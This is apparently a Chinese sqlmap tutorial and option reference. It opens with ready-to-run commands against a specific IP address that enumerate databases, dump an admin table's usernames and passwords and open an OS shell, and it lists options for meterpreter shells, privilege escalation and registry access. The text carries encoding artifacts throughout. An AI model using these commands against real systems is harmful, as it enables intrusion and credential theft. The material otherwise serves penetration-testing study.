1、查詢數(shù)據(jù)
./sqlmap.py -u “http://118.184.30.149/sql_server.asp?qx=sa&id=1” sqlmap 提示 do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]? 選 y
提示參數(shù) id 有漏洞,是否要保持其它測試,按 y 回車確定 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
獲取所有數(shù)據(jù)庫名 因為已經(jīng)知道數(shù)據(jù)庫名為微軟的 sql server,為了加快檢測速度,指定數(shù)據(jù)庫參數(shù) --dbms=mssql ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --dbs
當前網(wǎng)頁連接數(shù)據(jù)庫名 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --current-db
指定數(shù)據(jù)庫所有表 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --table -D "testdb"
讀取指定表中的字段名 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql -D "testdb" -T "admin" --columns
讀取指定字段內容 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql -D "testdb" -T "admin" --dump -C "username,password"
2、執(zhí)行系統(tǒng)命令
./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --os-shell --threads=10
3、常見參數(shù)
注入點 HTTP 指定請求方法檢測 POST --data="password=88952634&rem=on&username=88952634"
Cookie --cookie "cookie value" 登錄檢測
注入查詢數(shù)據(jù)技術 --technique=U? 指定 Union 技術
注入 HTTP 所有方法注入檢測 --level3? 檢測 HTTP 方法深度,GET、POST、Cookie、User-agent 和 Referer
Base64 編碼 url 注入點 sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py
檢測 DBMS 當前用戶是否 DBA(注入點執(zhí)行操作系統(tǒng)命令一般需要 DBA 權限) --is-dba
從不詢問用戶輸入,使用所有默認配置 --batch
默認最大線程數(shù)為 10 --threads=10
1. #HiRoot's Blog??
?2. Options(選項):??
?3. --version 顯示程序的版本號并退出?
?4. -h, --help 顯示此幫助消息并退出
? 5. -v VERBOSE 詳細級別:0-6(默認為 1)
6.? ? 7. Target(目標):?
?8. 以下至少需要設置其中一個選項,設置目標 URL。
9.? ?
?10. -d DIRECT 直接連接到數(shù)據(jù)庫。?
?11. -u URL, --url=URL 目標 URL。?
?12. -l LIST 從 Burp 或 WebScarab 代理的日志中解析目標。
? 13. -r REQUESTFILE 從一個文件中載入 HTTP 請求。?
?14. -g GOOGLEDORK 處理 Google dork 的結果作為目標 URL。
? 15. -c CONFIGFILE 從 INI 配置文件中加載選項。
16.? ??
17. Request(請求)
18. 這些選項可以用來指定如何連接到目標 URL。
19.? ?
?20. --data=DATA 通過 POST 發(fā)送的數(shù)據(jù)字符串??
21. --cookie=COOKIE HTTP Cookie 頭?
?22. --cookie-urlencode URL 編碼生成的 cookie 注入?
?23. --drop-set-cookie 忽略響應的 Set - Cookie 頭信息?
?24. --user-agent=AGENT 指定 HTTP User - Agent 頭?
?25. --random-agent 使用隨機選定的 HTTP User - Agent 頭
? 26. --referer=REFERER 指定 HTTP Referer 頭??
27. --headers=HEADERS 換行分開,加入其他的 HTTP 頭
? 28. --auth-type=ATYPE HTTP 身份驗證類型(基本,摘要或 NTLM)
(Basic, Digest or NTLM)?
?29. --auth-cred=ACRED HTTP 身份驗證憑據(jù)(用戶名:密碼)
? 30. --auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
? 31. --proxy=PROXY 使用 HTTP 代理連接到目標 URL
32. --proxy-cred=PCRED HTTP 代理身份驗證憑據(jù)(用戶名:密碼)?
?33. --ignore-proxy 忽略系統(tǒng)默認的 HTTP 代理?
?34. --delay=DELAY 在每個 HTTP 請求之間的延遲時間,單位為秒?
?35. --timeout=TIMEOUT 等待連接超時的時間(默認為 30 秒)?
?36. --retries=RETRIES 連接超時后重新連接的時間(默認 3)
? 37. --scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式?
?38. --safe-url=SAFURL 在測試過程中經(jīng)常訪問的 url 地址??
39. --safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的 URL
40.? ? 41. Optimization(優(yōu)化):
? 42. 這些選項可用于優(yōu)化 SqlMap 的性能。
43.? ?
?44. -o 開啟所有優(yōu)化開關??
?45. --predict-output 預測常見的查詢輸出
? 46. --keep-alive 使用持久的 HTTP(S)連接?
?47. --null-connection 從沒有實際的 HTTP 響應體中檢索頁面長度?
?48. --threads=THREADS 最大的 HTTP(S)請求并發(fā)量(默認為 1)
49.? ? 50. Injection(注入):??
?51. 這些選項可以用來指定測試哪些參數(shù), 提供自定義的注入 payloads 和可選篡改腳 本。
52.? ?
?53. -p TESTPARAMETER 可測試的參數(shù)(S)??
54. --dbms=DBMS 強制后端的 DBMS 為此值?
?55. --os=OS 強制后端的 DBMS 操作系統(tǒng)為這個值
56. --prefix=PREFIX 注入 payload 字符串前綴?
?57. --suffix=SUFFIX 注入 payload 字符串后綴??
58. --tamper=TAMPER 使用給定的腳本(S)篡改注入數(shù)據(jù)
59.? ? 60. Detection(檢測):?
?61. 這些選項可以用來指定在 SQL 盲注時如何解析和比較 HTTP 響應頁面的內容。
62.? ?
?63. --level=LEVEL 執(zhí)行測試的等級(1-5,默認為 1)
? 64. --risk=RISK 執(zhí)行測試的風險(0-3,默認為 1)
?65. --string=STRING 查詢時有效時在頁面匹配字符串
66. --regexp=REGEXP 查詢時有效時在頁面匹配正則表達式?
?67. --text-only 僅基于在文本內容比較網(wǎng)頁
68.? ? 69. Techniques(技巧):??
?70. 這些選項可用于調整具體的 SQL 注入測試。
71.? ? 72. --technique=TECH SQL 注入技術測試(默認 BEUST)?
?73. --time-sec=TIMESEC DBMS 響應的延遲時間(默認為 5 秒)?
?74. --union-cols=UCOLS 定列范圍用于測試 UNION 查詢注入??
75. --union-char=UCHAR 用于暴力猜解列數(shù)的字符
76.? ? 77. Fingerprint(指紋):?
?78. -f, --fingerprint 執(zhí)行檢查廣泛的 DBMS 版本指紋
79.? ? 80. Enumeration(枚舉):
? 81. 這些選項可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結構和數(shù)據(jù)。此外,您 還可以運行您自己
82. 的 SQL 語句。?
?83. -b, --banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標識?
?84. --current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當前用戶?
?85. --current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當前數(shù)據(jù)庫?
?86. --is-dba 檢測 DBMS 當前用戶是否 DBA?
?87. --users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶
? 88. --passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希?
?89. --privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權限?
?90. --roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色?
?91. --dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫??
?92. --tables 枚舉的 DBMS 數(shù)據(jù)庫中的表?
?93. --columns 枚舉 DBMS 數(shù)據(jù)庫表列?
?94. --dump 轉儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項??
95. --dump-all 轉儲所有的 DBMS 數(shù)據(jù)庫表中的條目?
?96. --search 搜索列(S),表(S)和/或數(shù)據(jù)庫名稱(S)
? 97. -D DB 要進行枚舉的數(shù)據(jù)庫名??
?98. -T TBL 要進行枚舉的數(shù)據(jù)庫表??
?99. -C COL 要進行枚舉的數(shù)據(jù)庫列
100. -U USER 用來進行枚舉的數(shù)據(jù)庫用戶??
101. --exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據(jù)庫??
102. --start=LIMITSTART 第一個查詢輸出進入檢索??
103. --stop=LIMITSTOP 最后查詢的輸出進入檢索??
104. --first=FIRSTCHAR 第一個查詢輸出字的字符檢索??
105. --last=LASTCHAR 最后查詢的輸出字字符檢索??
?106. --sql-query=QUERY 要執(zhí)行的 SQL 語句?
?107. --sql-shell 提示交互式 SQL 的 shell
108.? ? 109. Brute force(蠻力):??
?110. 這些選項可以被用來運行蠻力檢查。
111.? ? 112. --common-tables 檢查存在共同表??
?113. --common-columns 檢查存在共同列
114.? ? 115. User-defined function injection(用戶自定義函數(shù)注入):
116. 這些選項可以用來創(chuàng)建用戶自定義函數(shù)。
117.? ? 118. --udf-inject 注入用戶自定義函數(shù)??
?119. --shared-lib=SHLIB 共享庫的本地路徑
120.? ? 121. File system access(訪問文件系統(tǒng)):?
?122. 這些選項可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)。
123.? ? 124. --file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件? 125. --file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件? 126. --file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑
127.? ? 128. Operating system access(操作系統(tǒng)訪問):?
?129. 這些選項可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)。
130.? ? 131. --os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令??
?132. --os-shell 交互式的操作系統(tǒng)的 shell??
?133. --os-pwn 獲取一個 OOB shell,meterpreter 或 VNC??
134. --os-smbrelay 一鍵獲取一個 OOB shell,meterpreter 或 VNC
135. --os-bof 存儲過程緩沖區(qū)溢出利用??
?136. --priv-esc 數(shù)據(jù)庫進程用戶權限提升??
?137. --msf-path=MSFPATH Metasploit Framework 本地的安裝路徑??
138. --tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
139.? ? 140. Windows 注冊表訪問:?
?141. 這些選項可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng) Windows 注冊表。
142.? ? 143. --reg-read 讀一個 Windows 注冊表項值?
144. --reg-add 寫一個 Windows 注冊表項值數(shù)據(jù)??
145. --reg-del 刪除 Windows 注冊表鍵值?
?146. --reg-key=REGKEY Windows 注冊表鍵??
147. --reg-value=REGVAL Windows 注冊表項值??
148. --reg-data=REGDATA Windows 注冊表鍵值數(shù)據(jù)??
?149. --reg-type=REGTYPE Windows 注冊表項值類型
150.? ? 151. General(一般):
152.? ? 153. 這些選項可以用來設置一些一般的工作參數(shù)。?
154. -t TRAFFICFILE 記錄所有 HTTP 流量到一個文本文件中?
?155. -s SESSIONFILE 保存和恢復檢索會話文件的所有數(shù)據(jù)??
156. --flush-session 刷新當前目標的會話文件?
?157. --fresh-queries 忽略在會話文件中存儲的查詢結果??
158. --eta 顯示每個輸出的預計到達時間??
?159. --update 更新 SqlMap? 160. --save file 保存選項到 INI 配置文件?
?161. --batch 從不詢問用戶輸入,使用所有默認配置。
162.? ? 163. Miscellaneous(雜項):?
?164. --beep 發(fā)現(xiàn) SQL 注入時提醒
? 165. --check-payload IDS 對注入 payloads 的檢測測試??
?166. --cleanup SqlMap 具體的 UDF 和表清理 DBMS??
167. --forms 對目標 URL 的解析和測試形式?
?168. --gpage=GOOGLEPAGE 從指定的頁碼使用谷歌 dork 結果??
?169. --page-rank Google dork 結果顯示網(wǎng)頁排名(PR)
170. --parse-errors 從響應頁面解析數(shù)據(jù)庫管理系統(tǒng)的錯誤消息
? 171. --replicate 復制轉儲的數(shù)據(jù)到一個 sqlite3 數(shù)據(jù)庫??
?172. --tor 使用默認的 Tor(Vidalia/ Privoxy/ Polipo)代理地址??
173. --wizard 給初級用戶的簡單向導界面